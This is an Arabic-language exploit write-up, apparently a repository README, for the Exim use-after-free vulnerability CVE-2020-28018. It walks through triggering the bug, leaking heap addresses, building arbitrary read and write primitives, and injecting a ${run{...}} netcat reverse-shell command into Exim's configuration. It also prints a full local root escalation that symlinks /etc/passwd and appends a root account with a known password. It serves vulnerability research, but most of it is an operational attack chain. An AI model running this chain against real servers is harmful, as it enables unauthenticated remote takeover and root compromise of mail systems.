
استغلال لثغرة استخدام بعد التحرير في Exim (CVE-2020-28018) يحقق تنفيذ كود عن بُعد عبر بدائيات إفساد الذاكرة، بما في ذلك القراءة/الكتابة الاعتباطية وتسريب الكومة، مع سلسلة تصعيد صلاحيات محلية اختيارية.
توجد ثغرة من نوع Use-after-free (UAF) في tls-openssl.c تسمح للمهاجمين غير المصادق عليهم عن بُعد بإفساد بيانات الذاكرة الداخلية، وبالتالي تحقيق تنفيذ برمجيات عن بُعد في النهاية.
الأوليات:
من خلال استخدام كل هذه الأوليات معًا في سلسلة واحدة، يمكن تجاوز جميع الحمايات (mitigations) المتاحة للاستغلال بالكامل، والوصول في النهاية إلى تنفيذ برمجيات عن بُعد بصلاحية مستخدم exim.
تم نشر هذه الثغرة ضمن قائمة ضخمة من الثغرات؛ يربط التقرير الرسمي من Qualys ثغرة Use-After-Free مع CVE-2020-28008 لتنفيذ تصعيد صلاحيات محلي (LPE) بعد تحقيق RCE.
يجب أن يكون exim مُعدًا / مُجمَّعًا بالطريقة التالية:
X_PIPE_CONNECTيمكنك استخدام السكربت checker.py للتحقق مما إذا كان الخادم البعيد يعمل بإصدار متأثر، ويتوفر فيه بعض المتطلبات اللازمة ليكون قابلاً للاستغلال.
[!] لا يقوم checker.py باستغلال الثغرة، بل يتحقق فقط من الإصدار المتأثر وما إذا كان كل من PIPELINING وTLS مفعّلين. هذا يعني أن الفاحص لا يتحقق من وجود التصحيح، وبالتالي قد يُنتج نتائج إيجابية خاطئة.
كما نعرف بالفعل، توجد الثغرة في tls-openssl.c.
/*************************************************
* Write bytes down TLS channel *
*************************************************/
/*
Arguments:
ct_ctx client context pointer, or NULL for the one global server context
buff buffer of data
len number of bytes
more further data expected soon
Returns: the number of bytes after a successful write,
-1 after a failed write
Used by both server-side and client-side TLS.
*/
int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;
DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
buff, (unsigned long)len, more ? ", more" : "");
/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified. This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset). Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */
if (!ct_ctx && (more || corked))
{
#ifdef EXPERIMENTAL_PIPE_CONNECT
int save_pool = store_pool;
store_pool = POOL_PERM;
#endif
corked = string_catn(corked, buff, len);
#ifdef EXPERIMENTAL_PIPE_CONNECT
store_pool = save_pool;
#endif
if (more)
return len;
buff = CUS corked->s;
len = corked->ptr;
corked = NULL;
}
for (left = len; left > 0;)
{
DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
outbytes = SSL_write(ssl, CS buff, left);
error = SSL_get_error(ssl, outbytes);
DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
switch (error)
{
case SSL_ERROR_SSL:
ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
return -1;
case SSL_ERROR_NONE:
left -= outbytes;
buff += outbytes;
break;
case SSL_ERROR_ZERO_RETURN:
log_write(0, LOG_MAIN, "SSL channel closed on write");
return -1;
case SSL_ERROR_SYSCALL:
log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
sender_fullhost ? sender_fullhost : US"<unknown>",
strerror(errno));
return -1;
default:
log_write(0, LOG_MAIN, "SSL_write error %d", error);
return -1;
}
}
return len;
}
smtp_setup_msg() هي الوظيفة الرئيسية التي تقوم بقراءة الرسالة من العميل.
في حالات معيّنة، يتم استدعاء smtp_reset()، والتي تقوم بتنظيف جميع المخازن المؤقتة والقيم.
يمكن أن يحدث هذا في حالات مثل:
HELO/EHLOSTARTTLSRSETsmtp_setup_msg()في نهاية smtp_reset()، يتم استدعاء store_reset().
store_reset هو ماكرو يغلّف الدالة store_reset_3().
دوال store هي مجرد دوال تدير الذاكرة الديناميكية.
يستخدم Exim مُخصِّص ذاكرة بالتجميع (pool allocator) على الكتل التي يتم الحصول عليها من malloc.
هناك أيضًا وظيفة مثيرة للاهتمام، وهي تنفيذ لسلسلة قابلة للنمو.
هيكل gstring:
typedef struct gstring {
int size; /* Current capacity of string memory */
int ptr; /* Offset at which to append further chars */
uschar * s; /* The string memory */
} gstring;
عند الحاجة إلى مساحة أكبر لدمج سلسلة جديدة، يتم استدعاء gstring_grow().
تحاول هذه الدالة أولاً استدعاء store_extend_3()، والتي تحاول توسيع الذاكرة داخل نفس كتلة التجمع.
يمكن أن يكون ذلك مفيدًا عندما يكون طول الإدخال غير معروف، لكن إذا تم تخصيص المزيد من الذاكرة بعدها، فلن نتمكن من توسيعها.
بعد ذلك تستدعي gstring_grow() الدالة store_newblock_3() التي تُعيد ذاكرة جديدة وتنسخ البايتات الموجودة في الذاكرة القديمة إلى الجديدة.
ثم يتم استعادة المؤشر g->s من gstring_catn().
في الدالة tls_write()، نرى متغيرًا من نوع BOOL يُسمى more.
يشير إلى ما إذا كانت هناك بيانات إضافية يجب نسخها إلى المخزن النصي قبل إعادة البيانات إلى المستخدم.
إذا كان الأمر كذلك، فلا يتم تعيين المؤشر إلى NULL.
إذا لم يكن كذلك، فسيتم إرجاع البيانات الموجودة في المخزن النصي إلى المستخدم.
تفتح هذه الوظيفة بعض الطرق المثيرة لتحفيز ثغرة Use-After-Free.
أولاً، يتم تخزين المؤشر إلى هيكل gstring في متغير ثابت (static)، مما يعني أننا سنتمكن من استخدامه في استدعاءات tls_write() اللاحقة.
كيف يمكننا تحرير المخزن المؤقت ثم استخدامه؟
نحتاج إلى جعل smtp_setup_msg() تستدعي smtp_reset() بينما لا يزال أحد المخازن المؤقتة لدينا في server_corked (لم يتم تعيينه إلى NULL).
بعد إعادة الضبط، إذا قمنا باستدعاء tls_write() بأي شكل، فسيظل المؤشر موجودًا، وبالتالي يسمح لنا باستخدامه بعد تحرير الذاكرة.
تعمل smtp_reset() على تحرير جميع ذاكرة POOL_MAIN، التي تحتوي على المخزن المؤقت الخاص بنا.
للتحكم في ثغرة Use-After-Free، نحتاج أولاً إلى تهيئة اتصال جديد.
بما أننا نريد استغلال tls_write()، نحتاج أولاً إلى بدء جلسة TLS جديدة.
لذا نرسل أولاً أمر EHLO، يليه STARTTLS لبدء اتصال TLS.
ثم لجعل more تساوي 1، نُرسل أمرًا عبر خط الأنابيب (pipeline)، وسيكون الأمر الأخير هو نصف أمر NOOP.
نغلق اتصال TLS ونرسل بقية أمر NOOP.
نرسل الآن EHLO مرة أخرى، مما سيؤدي إلى استدعاء smtp_reset وتحرير المخزن المؤقت الخاص بنا.
نحتاج الآن إلى بدء اتصال TLS آخر لنتمكن من استخدام tls_write() مرة أخرى.
نرسل STARTTLS.
الآن، إرسال أي أمر إلى الخادم سيؤدي إلى استدعاء tls_write() لإرجاع استجابة.
لكن... لا يزال server_corked يحتوي على مؤشر إلى مكان ما في الذاكرة المحررة.
وقد يتم استخدام تلك البيانات بواسطة دوال أخرى لأنها محررة... لذلك سيتعرض هيكل gstring الخاص بنا للتلف ببيانات ثنائية عشوائية.
هذه نتيجة تحفيز UAF:
gef➤ p *corked
$1 = {
size = 0x54595c9c,
ptr = 0xa7e800ba,
s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤ p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤
يكون الهيكل بهذا الشكل تمامًا عند الدخول إلى tls_write() للأمر الذي يلي STARTTLS.
من الواضح أنه عند محاولة الوصول إلى corked->s، يحدث انقطاع SIGSEGV.
كما ذكرت Qualys، يستخدمون ثلاث خطوات لاستغلال الثغرة:
header_line إلى المخزن المؤقت الخاص بنا، بحيث عند استدعاء tls_write()، يتم إرجاعها إلى المستخدم. بهذه الطريقة نحصل على تسريب للذاكرة لمواصلة الاستغلال.${run{<command>}}، حيث <command> هو أي أمر يريد المهاجم تنفيذه، مثل شل عكسي باستخدام netcat. سيتم تفسير هذا الإعداد بواسطة string_expand()، وسيؤدي في النهاية إلى تنفيذ الأمر.ممتاز، تمكنا من تحفيز Use-After-Free.
نحتاج الآن إلى السيطرة الجيدة على UAF حتى نتمكن من صياغة أولياتنا بنجاح وموثوقية.
لسوء الحظ، بعد تحرير المخازن المؤقتة من POOL_MAIN، سيتم تمرير الكتلة الخاصة بنا مباشرة إلى free().
هذا يعني أن الذاكرة لن يتم الوصول إليها فقط عبر store_get_3() أو store_newblock_3()، بل عبر أي دالة تستخدم malloc()... مثل CRYPTO_zalloc() وغيرها الكثير.
في هذه الحالة، في مكان ما داخل tls_server_start()، يتم طلب ذاكرة عبر malloc().
ثم يقوم بنسخ بعض البيانات الثنائية إليها، مما يفسد هيكل gstring الخاص بنا.
نحتاج إلى طريقة لمنع ذلك، حتى نتمكن من الوصول إلى tls_write() بهيكل gstring سليم يشير إلى عنوان ذاكرة صالح، وإلا سيحدث انقطاع SIGSEGV.
بعد فهم كيفية عمل مُخصِّص تجمع الذاكرة في Exim، وتصحيح الأخطاء وتجربة بعض الأوامر لمعرفة سلوكها على جانب الكومة، يمكننا أخيرًا تجنب كتابة هذه البيانات في هيكل gstring الخاص بنا.
بمجرد نجاحنا في تحفيز Use-After-Free وعدم وجود مشاكل في تلف الهيكل الخاص بنا، نحتاج إلى محاولة تحريك الكومة بطريقة تجعل إحدى الدوال تكتب عنوانًا من الكومة في منتصف السلسلة (أي موضع قبل g->ptr).
نحن محظوظون لأن الاستجابات، رغم كونها نصًا عاديًا (وليست بروتوكولًا ثنائيًا)، تسمح لنا بإرسال بايتات NULL إلى العميل.
لماذا يحدث هذا؟
يتم إرسال الاستجابات عبر SSL_write()، ولا توجد مشاكل مع بايتات NULL.
ماذا عن السلاسل؟ لا تقوم string_catn() بقص بايتات NULL، لأنها تستخدم memcpy لنسخ البيانات.
الطريقة الوحيدة لتحديد حد هي عبر g->ptr، لكن... بما أن العنوان يُكتب قبل مؤشر g->ptr، يتم إرجاع جميع البيانات حتى ذلك الموضع إلينا، مما يؤدي إلى تسريب عناوين كومة قيّمة.
نتيجة تسريب الذاكرة باستخدام PoC:

الآن، كشفنا العنوان الأساسي للكومة....
و... العناوين لا تتغير بين الاتصالات... لذا يمكننا البدء الآن في الطريق إلى RCE
لكن... كيف نستبدل هيكل gstring؟
اتضح أن الأمر كان سهلاً جدًا باستخدام تقنية Qualys.
أضاف ESMTP بعض الأشياء إلى بروتوكول SMTP، مثل معاملات لأوامر MAIL FROM.
استخدام معامل كبير بعد آخر STARTTLS كافٍ لاستبدال الهيكل :)
النتيجة:
gef➤ p *corked
$1 = {
size = 0x42424242,
ptr = 0x42424242,
s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}
تحكم كامل في هيكل gstring.
الآن حان الوقت لصياغة أولية القراءة التعسفية.
يبدو أنها سهلة... نستبدل g->size و g->ptr بقيمة كبيرة.
ثم نستبدل g->s بعنوان الذاكرة الذي نريد القراءة منه.
بمجرد انتهاء الأمر، سيتم استدعاء tls_write() لإرجاع البيانات إلى المستخدم.
نظرًا لأن مؤشر المخزن النصي تالف ويشير إلى موقع تعسفي يحدده المهاجم، فسيتم إرجاع البيانات من ذلك الموقع.
قد ننفذ الآن دالة تتكرر على القطع وتقرؤها وتحاول العثور على كلمات مفتاحية تخبرنا ما إذا كانت القطعة هي التي تحتوي على إعدادات Exim؛ إذا كان الأمر كذلك، ننتقل بعدها إلى الخطوة الأخيرة.
الدالة التي نفذتها تتكرر على كل طول READ_SZ على طول الكومة بدءًا من العنوان الأساسي للكومة.
[+] Leaked heap address = 0x55c846683d90
[+] Leaked heap_base = 0x55c8465f4000
[*] Searching for Exim configuration in memory...
[+] Config found at: 0x55c8465f6328
بمجرد العثور على شيء ما، ننتقل إلى الخطوة الأخيرة.
ممتاز! نعرف العنوان الأساسي للكومة. والأكثر إثارة للاهتمام... نعرف أين توجد إعدادات Exim!
الآن حان وقت الوصول إلى RCE :P
نحتاج الآن (بطريقة ما) إلى استبدال إعدادات exim وحقن ${run{<command>}}. بحيث عند تنفيذ string_expand()، يتم تفسير أمرنا ونحصل أخيرًا على تنفيذ أوامر تعسفي.
أسهل طريقة للحصول على RCE هي استخدام netcat، لذا فإن استخدام nc في الأمر سيمنحنا شل.
لكن... كيف يمكننا صياغة أولية Write-What-Where كهذه؟
يجب علينا أولاً استبدال هيكل gstring (كما فعلنا مع أولية القراءة التعسفية).
بمجرد أن نتحكم فيه، يمكننا أولاً توجيه g->s إلى المكان الذي نريد الكتابة فيه، وفي هذه الحالة عنوان إعدادات Exim.
ثم عند كتابة الاستجابة التالية إلى المخزن المؤقت، ستُكتب الاستجابة في المكان الذي يشير إليه g->s :)
لكن... كيف يمكننا إفساد هيكل gstring والحصول على استجابة تعسفية في نفس الوقت؟
لم تترك Qualys هذا الأمر واضحًا جدًا في التقرير.
نحتاج إلى جعل أمر "MAIL FROM" يُرجع بيانات تعسفية.
بعد عدة محاولات، اعتقدت أن أفضل حل هو عبر رسالة خطأ.
يمكننا اختيار ADDR - strlen("501 ").
بهذه الطريقة، لا تُفسد تلك البايتات الأربعة هدفنا.
كيف نجعل MAIL FROM يفشل؟ أستخدم مُرسِلًا خاطئًا، لأن المُرسِل يتطلب نطاقًا، وإذا لم يتم تحديد نطاق، فستحتوي رسالة الخطأ على بيانات أرسلها العميل.
لكن توجد مشكلة مع ذلك. نظرًا لأننا نرسل NULLs، يتم إرجاع هذه الرسالة بدلاً من ذلك: "501 NUL characters are not allowed in SMTP commands".
لذا لا توجد حتى الآن طريقة للتحكم في مخرجاتها، لأننا نحتاج إلى NULLs في الطلب.
لا يمكننا إرسال "MAIL FROM" آخر لإفساد الاستجابات لسبب بسيط: بمجرد تحفيز UAF، تكون more=0 ولا يوجد وصول إلى المخزن المؤقت المحرر.
لكن من خلال handle_smtp_call()، إذا أرسلنا DATA، فستُستدعى receive_msg(). يمكننا خداعها بحيث لا تستعيد التجمع الحالي، مما يسمح لنا بتهيئة الكومة قليلاً لاستبدال المخزن المؤقت المحرر.
بمجرد استبداله، نرسل MAIL FROM ببيانات غير صالحة مع أمر آخر صالح في خط الأنابيب. ستُكتب الاستجابة في المؤشر s.
بمجرد تحقيق Write-What-Where، واجهت مشاكل مع netcat مباشرة لأن بعض المتطلبات كانت ضرورية لعدد الوسائط. لذا نفذت: /bin/sh -c '<nc command here>'.
قمت باستبدال ACL الخاصة بـ MAIL FROM بحيث يؤدي إرسال MAIL FROM ثانٍ في خط الأنابيب إلى استدعاء expand_cstring()، وأخيرًا تنفيذ أمري التعسفي.
هذه لقطة شاشة بعد حصولي على شل بالاستغلال:

$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
* Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#
تم إجراء الاختبارات على نظام Debian:
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
بإصدار exim:
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated
إصدار Exim لدي مُجمَّع ذاتيًا، لكنه يكرر أعلام الترجمة المستخدمة في الحزم الرسمية على Debian.
الإعدادات هي نفسها الافتراضية في Debian مع بعض التغييرات الطفيفة ربما.
في هذا المستودع، يوجد مجلد باسم exim-4.92. وهو الكود المصدري لـ exim.
أولاً، ثبّت exim باستخدام مدير الحزم apt.
حمّل مجلد exim ومجلد config إلى الجهاز.
أولاً، انسخ config/Makefile إلى exim-4.92/Local.
ثم انسخ config/eximon.conf إلى exim-4.92/Local.
الآن نشغّل make، سيتم إنشاء مجلد build-linux-*، وسننتقل إليه ونستبدل كل تكرارات "-O2" بـ "-O0".
سنفعل الشيء نفسه في مجلد OS/. أخيرًا، في build-linux-* نضيف -g إلى متغير CFLAGS.
يُنصح بإضافة مصدر libc و exim إلى gdb.
الآن نفّذ make و make install.
cp /usr/exim/bin/* /usr/sbin/
cp /usr/sbin/exim /usr/sbin/exim4
استخدمت هذا السكربت لتوليد الشهادات: https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert
أخيرًا، فعّل TLS في إعدادات exim4 الموجودة في /etc/exim4 واستخدم /etc/exim4/exim.crt و /etc/exim4/exim.key اللذين يولدهما سكربت bash.
أخيرًا: sudo update-exim4.conf && systemctl restart exim4
تحقق من systemctl status exim4 لترى ما إذا كان كل شيء على ما يرام.
إذا حصلت على رسالة خطأ تفيد بأن TLS غير متاح حاليًا بعد محاولة STARTTLS، فراجع سجلات exim4.
واجهت مشكلة لأن المفتاح الذي استخدمته للشهادات كان قصيرًا جدًا. لذا عدّل عدد بتات المفتاح في سكربت gencert المذكور سابقًا (أنا أستخدم 4096).
لمزيد من المعلومات، تفضل بزيارة التقرير الرسمي من Qualys